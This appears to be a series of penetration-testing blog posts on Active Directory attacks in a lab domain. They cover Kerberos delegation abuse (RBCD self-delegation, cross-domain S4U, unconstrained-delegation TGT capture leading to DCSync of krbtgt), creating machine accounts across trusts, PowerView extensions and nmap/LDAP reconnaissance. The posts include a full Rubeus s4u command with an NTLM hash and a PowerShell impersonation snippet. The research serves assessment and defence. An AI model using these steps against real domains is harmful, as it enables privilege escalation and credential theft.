A small addition to the Get-DomainUser function in PowerView was the -Owner switch. With this switch it return 2 extra object members, OwnerSID and OwnerName:

As shown here, the owner of the testsd user has the SID of S-1-5-21-2042794111-3163024120-2630140754-512 and the SamAccountName of Domain Admins. This is important for the next section.

Security Descriptors

While coding Set-DomainRBCD I realised that the msds-allowedtoactonbehalfofotheridentity attribute is just a security descriptor (SD) and it reminded me of a conversation I had in the BloodHound slack regarding the AdminCount attribute.

As discussed here members of protected groups have their AdminCount attribute set to 1 by the SD Propagator (SDProp). At the same time the security descriptor (SD) from AdminSDHolder gets applied, which is basically a hardened SD for protected objects. The problem here is that when the object is removed from having protected status, the AdminCount attribute value as well as the hardened SD remains.

It is often required to escalate accounts during assessments to perform certain attack paths, but it is always best to leave the client infrastructure in as similar state as before the assessment. So a method of viewing and restoring object SD's was required.

Enter Get-DomainObjectSD and Set-DomainObjectSD.

Get-DomainObjectSD

Get-DomainObjectSD can be used to retrieve an object's SD. By default it will output a custom PS object with 2 members (ObjectSID and ObjectSDDL).

  1. ObjectSID is the objects security idenfitier (i.e S-1-5-21-2042794111-3163024120-2630140754-1113).
  2. ObjectSDDL is the security descriptor of the object in SDDL string format.

There is also an -OutFile parameter that can be used to output the SD's and SID's to a file:

The -OutFile argument appends when the file exists so different SD's can be added dynamically:

It is also possible to retrieve several SD's at the same time, by piping the identities into Get-DomainObjectSD, like with other PowerView functions:

A -Check parameter exists which allows the current SD to be compared to a supplied one. If it's the same just a warning will be thrown but if the SD is different, a warning will be thrown and the object will be returned:

The -Check parameter also takes a file containing multiple account SD's to be checked:

Escalating A User

So after adding the testsd user to the Domain Admins group, the AdminCount attribute was set as expected:

After a while and retreiving the SD using Get-DomainObjectSD function and diffing the 2 SD's shows that they are significantly different:

Removing testsd from the Domain Admins group, leaves the AdminCount set to 1, as shown below:

The AdminCount attribute can easily be cleared using Set-DomainObject's -Clear parameter:

Set-DomainObjectSD

This is where Set-DomainObjectSD comes in. Set-DomainObjectSD can only be used from an account that has owner privileges on the object, this is partly why the -Owner switch was added to Get-DomainUser.

There are 2 ways to set object SD's with Set-DomainObjectSD, firstly using an input file with the -InputFile parameter, this takes a csv file in the same format created by Get-DomainObjectSD:

This will apply all SD's contained within the provided file. The other way is to specify the object identity and the SDDL string manually with -SDDLString:

If multiple identities are specified here, the same SD will be applied to them, unlike if an input file is provided.

Some Other Useful Features

I have added 2 other useful functions, Find-HighValueAccounts and Get-DomainDCSync.

Find-HighValueAccounts

As mentioned above, the AdminCount attribute remains even after the user has been removed from the protected group. I wanted a way to find all current members of these groups. For this I created Find-HighValueAccounts, by default it returned the full user and computer objects (I've selected just the samaccountname so it can be displayed better):

It gets group membership recursively. You can specify which type of object to return with the -Users and -Computers switches. It also supports -SPN for returning accounts with service principal names, -Enabled and -Disabled, -AllowDelegation and -DisallowDelegation; and -PassNotExpire to search for accounts that are configured to not require a regular password reset.

Get-DomainDCSync

Another useful function I created is Get-DomainDCSync which gets the ACL from the domain head, and determines which result in the ability to perform a DCSync. This is primarily 2 different types of ACE's, GenericAll or both DS-Replication-Get-Changes and DS-Replication-Get-Changes-All. This function again returns the full object and by default returns user and computer objects:

This function also gets group membership recursively and also provides the ability to filter by object type, with -Users and -Computers but this time also includes the ability to filter by groups too with -Groups.

Get-DomainUser

I've also added a few features to some standard PowerView functions, including Get-DomainUser.

Along with the already mentioned -Owner switch, I added -Enabled, -Disabled -PassNotExpire switches which are pretty self-explainatory. A -Unconstrained switch which filters user accounts that are configured for unconstrained delegation. A -RBCD switch which returns user accounts that have a non empty msds-allowedtoactonbehalfofotheridentity attribute. A -PassLastSet parameter which will only return user accounts that have not changed their password for at least a number of days:

I've also added the -Locked and -Unlocked switches. These take into account the domain lockout duration policy into account. So if a user account has been locked 31 minutes ago but the lockout duration policy is set to 30, the account will be returned as unlocked.

Get-DomainComputer

For Get-DomainComputer I've added 2 switches, -RBCD and -ExcludeDCs. The -RBCD switch which returns computer accounts that have a non empty msds-allowedtoactonbehalfofotheridentity attribute. -ExcludeDCs allows you to filter out domain controllers from the results, useful for searching for computer accounts configured for unconstrained delegation:

Conclusion

I do plan on making more additions to PowerView but hopefully these will be useful on assessments.

Until then you can grab my fork of PowerView here.

✇eXploit

Revisiting 'Delegate 2 Thyself'

By: 0xe7

So while still trying to ingest the great blog post by Elad Shamir Wagging the Dog, I discovered a section called Solving a Sensitive Problem which improves on the method I used in my Delegate 2 Thyself post. This post is about that improvement and an abuse case using it.

I highly recommend reading both of those posts before reading this if you haven't done already.

The Improvement

An S4U2Self service ticket can be retrieved by any machine account, without any prior configuration.

As shown below, this machine account for EIIS1 is not configured for any type of delegation:

Also, the external.admin user is marked as Account is sensitive and cannot be delegated:

Elad says that it is still possible to impersonate as that user on the requesting system (EIIS1), all that's required are the machine account credentials or TGT.

Automating the Process

In the Wagging the Dog post, Elad was using an ASN.1 editor to modify the S4U2Self ticket obtained using Rubeus. I decided to modify Rubeus so that this process was fully automated.

All this modification does is add's a /self flag to Rubeus's s4u command, when that's used and the /altservice flag is also used, the value to /altservice (in the format of the full SPN, eg. host/computer.domain.com) is subsituted into the sname field in the returned S4U2Self ticket.

Trying It Out

In the previous post I started with code execution to the IIS server EIIS1, which is the same position here:

We already know that this user can use the tgtdeleg trick to get a usable TGT:

Now it's important to understand the rest I perform from a separate non domain-joined system. I tend to see a lot of questions about performing attacks from systems that aren't domain-joined but due to the nature of most of my work, I almost always perform the attacks from my own, non domain-joined system, so I do in my blog posts too.

So next I perform the S4U2Self using the TGT we just recieved from a different system:

As you can see here, I've requested the S4U2Self ticket then rewrote the sname to http/eiis1.external.zeroday.lab as the user that cannot de delegated external.admin, the resulting ticket can be seen in the following klist output:

This ticket can then be used to execute commands over PowerShell remoting:

Conclusion

Obviously, the only way you can take advantage of this is if you can get access to the credentials or TGT of the target system.

But it can still be used for privilege escalation and, in the case of gaining access to a system configured for unconstrained delegation, remote code exectution (because you will be able to gather usable TGT's for remote systems).

The advantages of this over the full S4U2Proxy approach is that no configuration changes are required and you are able to impersonate protected users.

The advantages of this over a traditional silver ticket is that the resulting ticket contains a valid PAC.

✇eXploit

A Strange Case of Trusts, Machine Accounts and DNS

By: 0xe7

While playing about with my Active directory (AD) lab infrastructure, I discovered I was able to create machine accounts across domain trusts. This led to the following bit of research.

There's been a lot of research into the impact of users creating machine accounts, including by Kevin Robertson's here and by Elad Shamir here but not much discussed about doing this across a domain trust.

The Setup

The lab I'm using for this blog post is setup as follows:

So here there are 3 forests and 4 domains (1 child domain). For the sake of simplicity this is a completely flat network, so all machines can access all other machines.

We have access to a low privileged user in the other.zeroday.lab domain.

This domain has a bidirectional external trust with the child domain child1.internal.zeroday.lab:

The child1.internal.zeroday.lab domain has an addition trust with it's parent domain internal.zeroday.lab:

Limitations Of The Current Position

It is not possible to authenticate against the internal.zeroday.lab domain using the current user:

And therefore, it is not possible to perform any real enumeration against that domain.

Also, it is not possible to create DNS records in the child1.internal.zeroday.lab domain:

Enter Machine Accounts

So while trying some things on this lab I attempted to create a machine account in child1.internal.zeroday.lab using the other.user user from other.zeroday.lab, and it worked:

The reason I tried this initially was because I wanted to create a DNS record in the trusted domain, which is now possible using this newly created machine account:

This shows that I now have more privileges on the trusted domain than I did otherwise.

But the implications were bigger, I can now use this machine account to query other trusted domains. So I can now enumerate trusts for the trusted domain internal.zeroday.lab:

And as a result, it's also possible to perform attacks such as kerberoasting against those trusted domains:

As well as triggering the printer bug discovered by Lee Christensen.

So we now clearly have much greater privileges across the enterprise than we did with only the user account we started out with.

Limitations Of Machine Accounts

While the machine accounts can create other machine account within the same domain (as I mentioned in my delegate to thyself post, a machine account is not able to create machine accounts across a trust:

This means we cannot use this machine account to pivot across the whole enterprise and gain access to the external.zeroday.lab domain without compromising another user account.

Conclusion

For me at least, this makes clear that the machine account quota configuration is more important than previously thought. By leaving this configuration at anything but 0, you allow for attackers on any domains that you have trust relationships with, to perform attacks against all other domains you have trust relationships with. Clearly it's not a huge impact if your domain only has 1 trust, then the main impact I can see is the ability for an attacker on the other domain to create DNS records within your domain.

More research is definitely needed in this area, I can't help but feel that this opens up new attacks that I'm not currently seeing.

✇eXploit

Crossing Trusts 4 Delegation

By: 0xe7

The purpose of this post is to attempt to explain some research I did not long ago on performing S4U across a domain trust. There doesn't seem to be much research in this area and very little information about the process of requesting the necessary tickets.

I highly recommend reading Elad Shamir's Wagging the Dog post before reading this, as here I'll primarily focus on the differences between performing S4U within a single domain and performing it across a domain trust but I won't be going into a huge amount of depth on the basics of S4U and it's potential for attack, as Elad has already done that so well.

Motivation

I first thought of the ability to perform cross domain S4U when looking at the following Microsoft advisory. It states:

“To re-enable delegation across trusts and return to the original unsafe configuration until constrained or resource-based delegation can be enabled, set the EnableTGTDelegation flag to Yes.”

This makes it clear that it is possible to perform cross domain constrained delegation. The problem was I couldn't find anywhere that gave any real detail as to how it is performed, and the tools used to take advantage of constrained delegation did not support it.

Luckily Will Schroeder published how to simulate real delegation traffic:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# translated from the C# example at https://msdn.microsoft.com/en-us/library/ff649317.aspx

# load the necessary assembly
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')

# execute S4U2Self w/ WindowsIdentity to request a forwardable TGS for the specified user
$Ident = New-Object System.Security.Principal.WindowsIdentity @('[email protected]')

# actually impersonate the next context
$Context = $Ident.Impersonate()

# implicitly invoke S4U2Proxy with the specified action
ls \\PRIMARY.TESTLAB.LOCAL\C$

# undo the impersonation context
$Context.Undo()

This allowed me to figure out how it works and implement it into Rubeus.

Recap

To perform standard constrained delegation, 3 requests and responses are required: 1. AS-REQ and AS-REP, which is just the standard Kerberos authentication. 2. S4U2Self TGS-REQ and TGS-REP, which is the first step in the S4U process. 3. S4U2Proxy TGS-REQ and TGS-REP, which is the actual impersonation to the target service.

I created a visual representation as the ones I've seen previously weren't the easiest to understand:

In this it's the ticket contained within the final TGS_REP that is used to access the target service as the impersonated user.

Some Theory

After hours of using Will's Powershell to generate S4U traffic and staring at packet dumps, this is how I understood cross domain S4U to work:

Clearly there's a lot more going on here, so let me try to explain.

  1. The first step is still the same, a standard Kerberos authentication with the local domain controller. (1 and 2)

  2. A service ticket is requested for the foreign domains krbtgt service from the local domain controller. (3 and 4)

    • The users real TGT is required for this request.
    • This is known as the inter-realm TGT or cross domain TGT. This resulting service ticket is used to request service tickets for services on the foreign domain from the foreign domain controller.

    Here's where things start to get a little complicated. And the S4U2Self starts.

  3. A service ticket for yourself as the target user you want to impersonate is requested from the foreign domain controller. (5 and 6)

    • This requires the cross domain TGT.
    • This is the first step in the cross domain S4U2Self process.
  4. A service ticket for yourself as the user you want to impersonate is now requested from the local domain controller. (7 and 8)

    • This request includes the users normal TGT as well as having the S4U2Self ticket, received from the foreign domain in step 3, attached as an additional ticket.
    • This is the final step in the cross domain S4U2Self process.

    And finally the S4U2Proxy requests. As with S4U2Self, it involves 2 requests, 1 to the local DC and 1 to the foreign DC.

  5. A service ticket for the target service (on the foreign domain) is requested from the local domain controller. (9 and 10)

    • This requires the users real TGT as well as the S4U2Self ticket, received from the local domain controller in step 4, attached as an additional ticket.
    • This is the first step in the cross domain S4U2Proxy process.
  6. A service ticket for the target service is requested from the foreign domain controller. (11 and 12)

    • This requires the cross domain TGT as well as the S4U2Proxy ticket, received from the local domain controller in step 5, as an additional ticket.
    • This is the service ticket used to access the target service and the final step in the cross domain S4U2Proxy process.

I implemented this full process into Rubeus with this PR, which means that the whole process can be carried out with a single command.

The implementation primarily involves the CrossDomainS4U(), CrossDomainKRBTGT(), CrossDomainS4U2Self() and CrossDomainS4U2Proxy() functions, along with the addition of 2 new command line switches, /targetdomain and /targetdc, and some other little modifications.

Basically when /targetdomain and /targetdc are passed on the commandline, Rubeus executes a cross domain S4U, otherwise a standard one is performed.

What's The Point?

Good question. This could be a useful attack path in some unusual situations. Let me try to explain one.

Consider the following infrastructure setup:

There are 2 domains, in a single forest. internal.zeroday.lab (the parent and root of the forest) and child1.internal.zeroday.lab (a child domain).

We've compromised a standard user, child.user, on child1.internal.zeroday.lab, this user can also authenticate against the SQL server ISQL1 in internal.zeroday.lab as a low privileged user:

As Elad mentions in the MSSQL section of his blog post, if the SQL server has the WebDAV client installed and running, xp_dirtree can be used to coerce an authentication to port 80.

What is important here is that the machine account quota for internal.zeroday.lab is 0:

This means that the standard method of creating a new machine account using the relayed credentials will not work:

The machine account quota for child1.internal.zeroday.lab is still the default 10 though:

So the user child.user can be used to create a machine account within the child1.internal.zeroday.lab domain:

As the machine account belongs to another domain, ntlmrelayx.py is not able to resolve the name to a SID:

For this reason I made a small modification which allows you to manually specify the SID, rather than a name. First we need the SID of the newly created machine account:

Now the --sid switch can be used to specify the SID of the machine account to delegate access to:

The configuration can be verified using Get-ADComputer:

Impersonation

So now everything is in place to perform the S4U and impersonate users to access ISQL1.

The NTLM hash of the newly created machine account is the ast thing that is required:

The following command can be used to perform the full attack and inject the service ticket for immediate use:

1
.\Rubeus.exe s4u /user:TestChildSPN$ /rc4:C4B0E1B10C7CE2C4723B4E2407EF81A2 /domain:child1.internal.zeroday.lab /dc:IC1DC1.child1.internal.zeroday.lab /impersonateuser:internal.admin /targetdomain:internal.zeroday.lab /targetdc:IDC1.internal.zeroday.lab /msdsspn:http/ISQL1.internal.zeroday.lab /ptt

This command does a number of things but simply put, it authenticates as TestChildSPN$ from child1.internal.zeroday.lab against IC1DC1.child1.internal.zeroday.lab and impersonates internal.admin from internal.zeroday.lab to access http/ISQL1.internal.zeroday.lab.

Now let's look at this in a bit more detail.

As described previously, the first step is to perform a standard Kerberos authentication and recieve the account's TGT that has been delegated access (TestChildSPN in this case):

This TGT is then used to request the cross domain TGT from IC1DC1.child1.internal.zeroday.lab (the local domain controller):

This is simply a service ticket to krbtgt/internal.zeroday.lab. This cross domain TGT is then used on the foreign domain in exactly the same manner the users real TGT is used on the local domain.

It is this ticket that is then used to request the S4U2Self service ticket for TestChildSPN$ for the user internal.admin from IDC1.internal.zeroday.lab (the foreign domain controller):

To complete the S4U2Self process, the S4U2Self service ticket is requested from IC1DC1.child1.internal.zeroday.lab, again for TestChildSPN$ for the user internal.admin, but this time the users real TGT is used and the S4U2Self service ticket retrieved from the foreign domain in the previous step is attached as an additional ticket within the TGS-REQ:

To begin the impersonation, a S4U2Proxy service ticket is requested for the target service (http/ISQL1.internal.zeroday.lab in this case) from IC1DC1.child1.internal.zeroday.lab. As this request is to the local domain controller the users real TGT is used and the local S4U2Self, received in the previous step, is atached as an additional ticket in the TGS-REQ:

Lastly, a S4U2Proxy service ticket is also requested for http/ISQL1.internal.zeroday.lab from IDC1.internal.zeroday.lab. As this request is to the foreign domain controller, the cross domain TGT is used, and the local S4U2Proxy service ticket received in the previous step is attached as an additional ticket in the TGS-REQ. Once the final ticket is received, Rubeus automatically imports the ticket so it can be used immediately:

Now that the final service ticket has been imported it's possible to get code execution on the target server:

Conclusion

While it was possible to perform this across trusts within a single forest, I didn't manage to get this to work across external trusts. It would probably be possible but would require a non-standard trust configuration.

With most configurations this wouldn't be required as you could either create a machine account within the target domain or delegate to the same machine account, as I've discussed in a previous post, but it's important to understand the limits of what is possible with these types of attacks.

The mitigations are exactly the same as Elad discusses in his blog post as the attack is exactly the same, the only difference is here I'm performing it across a domain trust.

Acknowledgements

A big thaks to Will Schroeder for all of his work on delegation attacks and Rubeus. Also Elad Shamir for his detailed work on resource-based constrained delegation attacks and contributions to Rubeus which helped me greatly when trying to implement this. Benjamin Delpy for all of his work on Kerberos tickets in mimikatz and kekeo.

I'm sure there are many more too, without these guys work, research in this area would be much further behind where it currently is!

✇eXploit

Delegate 2 Thyself

By: 0xe7

This post is also avaliable in PDF format here.

So a situation arose on the BloodHound Slack channel recently which is very similar to the one I'm going to describe in this post and the user could have benefited from this so I've decided to speed up my writing of this particular post. It's going to involve using resource-based constrained delegation (RBCD) for local privilege escalation.

Firstly, there are much better resources for a full explaination of the RBCD theory and attack vectors, the best I've read Wagging the Dog by Elad Shamir but also this and this by Will Schroeder, and even the Microsoft Kerberos documentation if you are really looking at understanding how Kerberos works as a whole.

I learned everything I know about RBCD from the posts mentioned above, so I highly recommend reading and understanding those if you truly want to understand RBCD.

Here I'll simply be explaining an attack that, while very similar to some being spoken about, I've not really seen anywhere, while trying to clear up a few areas of confusion a lot of people seem to have on the topic.

Resource-Based Constrained Delegation 101

While those other posts are without doubt the place to go if you want to understand how this works, I'll try to give a little recap of the essentials here.

Delegation is used in Kerberos to allow services to delegate (impersonate) as other users to other services. This is so that, for example, if a user access a web server and that web server is using a database server in the background, the web server is able to impersonate the user to access the database server and only gain access to the data owned by that user.

Resource-Based Constrained Delegation is governed by an Access Control List (ACL) contained within the msDS-AllowedToActOnBehalfOfOtherIdentity Active Directory attribute of the target machine account. This means if you want AccountA to be able to delegate to AccountB, then you have to set an Access Control Entry (ACE) within the ACL in the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on AccountB for AccountA.

Confusion 1 - Service Accounts

So as Elad mentions in his post that SYSTEM, NT AUTHORITY\NETWORK SERVICE and Microsoft Virtual Accounts all authenticate on the network as the machine account on domain-joined systems. This is really useful to know as most Windows services on modern versions of Windows will run using a Microsoft Virtual Account by default. The 2 most notable are IIS and MSSQL but I'm sure there are many more.

This can be verified very easily:

This authenticates against 192.168.71.198 where I have impacket's smbserver.py script listening:

In any situation where the machine is domain-joined and you can run code as NT AUTHORITY\NETWORK SERVICE or a Microsoft Virtual Account, you can use RBCD for local privilege escalation, provided that Active directory hasn't been hardered to mitigate the RBCD attacks completely (which is very rarely the case).

The Situation

So here I'm going to perform the attack from a domain-joined (external.zeroday.lab) IIS server (EIIS1) where code execution has already been achieved. As we already know, this account will authenticate on the domain as the machine account:

Firstly, load the the ADModule from Nikhil Mittal and Will Schroeder's PowerView to be used throughout this post:

The last thing to note is a domain admin (and the user we're going to impersonate) is external.admin:

Confusion 2 - Machines Creating Machines

Generally with these RBCD attacks you require a second account with an service principal name (SPN), the common method is to create a new machine account as by default the machine account quota is 10:

I've seen some confusion on whether a machine account can be used to create another machine account. It is possible to create a machine account using a machine account, this can be done using Kevin Robertson's Powermad:

Now querying the domain controller, the newly created machine account can be seen:

The Crazy Bit

For this post though, I want to show that even if the machine account quota is 0, and access to another account with an SPN hasn't been achieved, it's still possible to abuse RBCD for privilege escalation. So the machine account quota has been reset to 0:

Now it is not possible to create a new machine account:

So here's the main reason for this blog, I was thinking one day "I wonder if a machine can delegate access to itself". So effectively, I (the machine account) want to tell the domain controller that I (the machine account) wants the ability to delegate access to myself (the machine account). I'm not sure why this would ever be required in a normal setup, but it in fact is possible.

So using the shell that I've already imported the ADModule, I can set the msDS-AllowedToActOnBehalfOfOtherIdentity:

This is all that is required to configure RBCD. To demonstrate that it has infact worked, I can run Get-ADComputer from another terminal (because showing the extended attributes using the ADModule doesn't work):

So now I have the ability to impersonate any domain user on the machine, that isn't in the Protected Users group or marked as Sensitive and cannot be delegated.

Abusing This Configuration

There's one more piece of the puzzle before we can actually perform the attack. We need to be able to pass Rubeus credentials for the machine account. This can be in the form of a username and password, or a TGT ticket.

Luckily Benjamin Delpy figured out how to do this, it's now called the tgtdeleg trick and it's also been implemented in Rubeus.

So after downloading Rubeus onto the compromised system, we can easily use it to grab a usable TGT:

That TGT can be used with the s4u Rubeus command to request a service ticket to HTTP/EIIS1.external.zeroday.lab (myself) as the user external.admin and injected into the current context:

Now when we use Invoke-Command to EIIS1.external.zeroday.lab, it runs as external.admin:

Cleanup

When on an assessment, it's always important to clean up any changes made to systems to return them to the original settings as much as possible. The RBCD configuration can be reset to it's original state using the machine account again, if domain admin privileges hasn't been achieved.

If the configuration was originally empty, this can be done in the following way:

And to verify that this worked:

Conclusion

Delegation is hard and often configured wrong so it's important to understand the scope of what is possible using these Kerberos features.

Active Directory in it's default configuration is vulnerable to a number of different attacks and these settings rarely get changed by the system administrator so this is often a very fruitful avenue for an attacker.

To secure AD against this attack is no different to those described by Elad in his post, there's nothing really new here apart from the idea of delegating to the same account.

✇eXploit

Abusing Users Configured with Unconstrained Delegation

By: 0xe7

An interesting situation came up on a recent assessment which triggered me into do a bit of research in the area as I'd seen nothing published on this particular issue.

I'd been really interested in the research done on the area of Kerberos Delegation. For this post, I'll be discussing Unconstrained Delegation, which has been covered a great deal in other places, notably here by Sean Metcalf and here by Dirk-jan Mollema, amongst others. If you really want to understand what is going on here, it might be best to read their work and understand it before continuing, although I'll try to give a recap here.

Unconstrained Delegation 101

In a nutshell, unconstrained delegation is when a user or computer has been granted the ability to impersonate users in an Active Directory domain with the only restriction of those contained within the Protected Users group or marked Sensitive and cannot be delegated.

What happens in short (read Sean's post if you want a detailed explaination, that's where this section is plagiarised from), after a user has already authenticated and wants to access a service that's been configured for unconstrained delegation:

  1. The user presents it's TGT to th DC when requesting a service ticket.

  2. The DC opens the TGT & validates PAC checksum – If the DC can open the ticket & the checksum check out, the TGT is valid. The data in the TGT is effectively copied to create the service ticket. The DC places a copy of the user’s TGT into the service ticket.

  3. The service ticket is encrypted using the target service accounts’ NTLM password hash and sent to the user (TGS-REP).

  4. The user connects to the server hosting the service on the appropriate port & presents the service ticket (AP-REQ). The service opens the service ticket using its NTLM password hash.

The diagram below (also taken from Sean's post) shows the full process:

The Situation

While abusing unconstrained delegation has been covered in detail many times, all of these posts address machine accounts, I've not yet seen anything related to abusing users configured for unconstrained delegation.

The setup for the demo is simple. A domain internal.zeroday.lab, with a domain controller IDC1 and a user TestUCSPN which has been configured for unconstrained delegation, as can be seen below:

As shown, the TrustedForDelegation attribute is set to True and the ServicePrincipalName is set to cifs/notexist.internal.zeroday.lab. The cifs service is being used here purly for convinence in demonstrating the issue.

The DNS record for notexist.internal.zeroday.lab does not exist:

This is all that is required to exploit it because the password for the machine account is not needed, but in this example the machine account also doesn't exist:

This allows me to demonstrate that it is still exploitable, by creating the machine account, using Kevin Robertson's Powermad:

Abuse

While it doesn't matter if the machine account is created in Active Directory, the DNS record needs to not exist for this attack to work (or it needs to point to a machine under your control).

If the DNS record doesn't exist, like in this example, it's easy to create one using any valid domain user account. Here I'm using Dirk-jan Mollema's krbrelayx:

Here 192.168.71.198 is the IP address of a Linux system under my control.

Sometimes it takes a little while for the name to resolve so it's good to check before continuing:

Now everything is in place to abuse this configuration. First, we need the hash of the service account's password (TestUCSPN in this case). For this Benjamin Delpy's tool mimikatz does the job nicely:

To retrieve the target's TGT ticket, we'll again use Dirk-jan Mollema's krbrelayx:

And from the same repository the printerbug.py script to trigger the authentication from the domain controller (192.168.71.20) to the target SPN host (notexist.internal.zeroday.lab):

This coerces the domain controller to authentication to the CIFS service on host noexist.internal.zeroday.lab where the krbrelayx.py script is listening. The krbrelatx.py script saves the ticket in ccache format:

This saved the ticket in the current working directory with the name [email protected][email protected].

For some reason, converting it to kirbi format using krbrelayx.py was failing with the error below:

Of course, you could using the ccache format with impacket but I decided to use Will Schroeder's Rubeus so I needed the ticket in kirbi format.

To convert the ticket I used Zer1t0's ticket_converter and then base64 encoded it:

This is now usable by Rubeus.

First, to demonstrate the a DCSync is not possible from the current context, mimikatz was used:

Lastly, Rubeus is used to inject the ticket into the current context and then mimikatz is able to perform a DCSync of the KRBTGT account from the domain controller:

Conclusion

One of the interesting things I find about attacks like this is here I used the TGT for the domain controller IDC1 to perform a DCSync from the same domain controller IDC1. I'm not sure why this is possible as I can see no reason why a domain controller would need to synchronize with itself, but it works...

This post is, as far as I've seen, the first explaination of how to take advantage of unconstrained delegation without requiring to compromise any machines and while it's most likely an uncommon situation, I have seen this in the wild recently.

Kerberos delegation is a really interesting point of research and I'm sure there will be plenty more research coming out in the future so it's well worth getting up to date with the current research out there.

✇eXploit

Active Directory Reconnaissence - Part 1

By: 0xe7

So it's been a long time since I've blogged anything but I've finally ported my blog from Octopress and am now in a better position to update it.

For a while now I've been focusing on learning as much as possible about perfomring infrastructure security assessments and particularly Active Directory (AD), so it makes sense to start creating some blog posts regarding that.

AD is a highly complex database used to protect the rest of the infrastructure by providing methods to restrict access to rsources and segregate resources from each other. However, partly due to it's complexity and partly due to backwards compatibility, it's very common for insecure configurations to be in place on corporate networks. Due to this and the fact that it is usually used to provide access to huge sections of the infrastructure, it's a high value target to attack.

In this post, I'll demonstrate some basic reconnaissence that might be possible from a completely unauthenticated position on the infrastructure.

Lab Configuration

The lab configuration is simple, as shown below:

The main thing here is that the IP address of the domain controller is 192.168.73.20.

Basic Scanning

The first step would be to perform a port scan of the target system. Nmap is a common choice for a port scan and for good reason, Nmap has tons of options and is capable of much more than simple port scanning.

A basic port scan using Nmap of the top 1000 TCP ports is shown:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
Lab:~# nmap -sT -Pn -n --open 192.168.73.20
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-12 23:35 GMT
Nmap scan report for 192.168.73.20
Host is up (0.00040s latency).
Not shown: 988 closed ports
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
3389/tcp open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 3.08 seconds

As shoiwn above, a bunch of ports are open on the target domain controller, these can be further probed using the -sV option:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Lab:~# nmap -sT -Pn -n --open 192.168.73.20 -sV -p53,88,135,139,389,445,464,593,636,3268,3269,3389
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-12 23:38 GMT
Nmap scan report for 192.168.73.20
Host is up (0.0013s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain?
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-02-12 23:38:18Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: internal.zeroday.lab, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds  Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: ICHILD1)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: internal.zeroday.lab, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=2/12%Time=5E448C70%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: IC1DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 142.72 seconds

This is known as a service scan and attempts to probe the listening service and return a reliable software name and version.

Some Basic Enumeration

LDAP Enumeration

As we can see Lightweight Directory Access Protocol (LDAP) is listening on a number of ports. That is an indication that this system is a domain controller.

The LDAP specification states that the server must provide some information about the {RootDSE](https://ldapwiki.com/wiki/RootDSE){:target="_blank"} even without authentication. This allows us to gather some basic information about the domain:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
Lab:~# nmap -sT -Pn -n --open 192.168.73.20 -p389 --script ldap-rootdse
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-12 23:59 GMT
Nmap scan report for 192.168.73.20
Host is up (0.0012s latency).

PORT    STATE SERVICE
389/tcp open  ldap
| ldap-rootdse:
| LDAP Results
|   <ROOT>
|       currentTime: 20200212235943.0Z
|       subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       dsServiceName: CN=NTDS Settings,CN=IC1DC1,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       namingContexts: CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       namingContexts: CN=Schema,CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       namingContexts: DC=ForestDnsZones,DC=internal,DC=zeroday,DC=lab
|       namingContexts: DC=child1,DC=internal,DC=zeroday,DC=lab
|       namingContexts: DC=DomainDnsZones,DC=child1,DC=internal,DC=zeroday,DC=lab
|       defaultNamingContext: DC=child1,DC=internal,DC=zeroday,DC=lab
|       schemaNamingContext: CN=Schema,CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       configurationNamingContext: CN=Configuration,DC=internal,DC=zeroday,DC=lab
|       rootDomainNamingContext: DC=internal,DC=zeroday,DC=lab
|       supportedControl: 1.2.840.113556.1.4.319
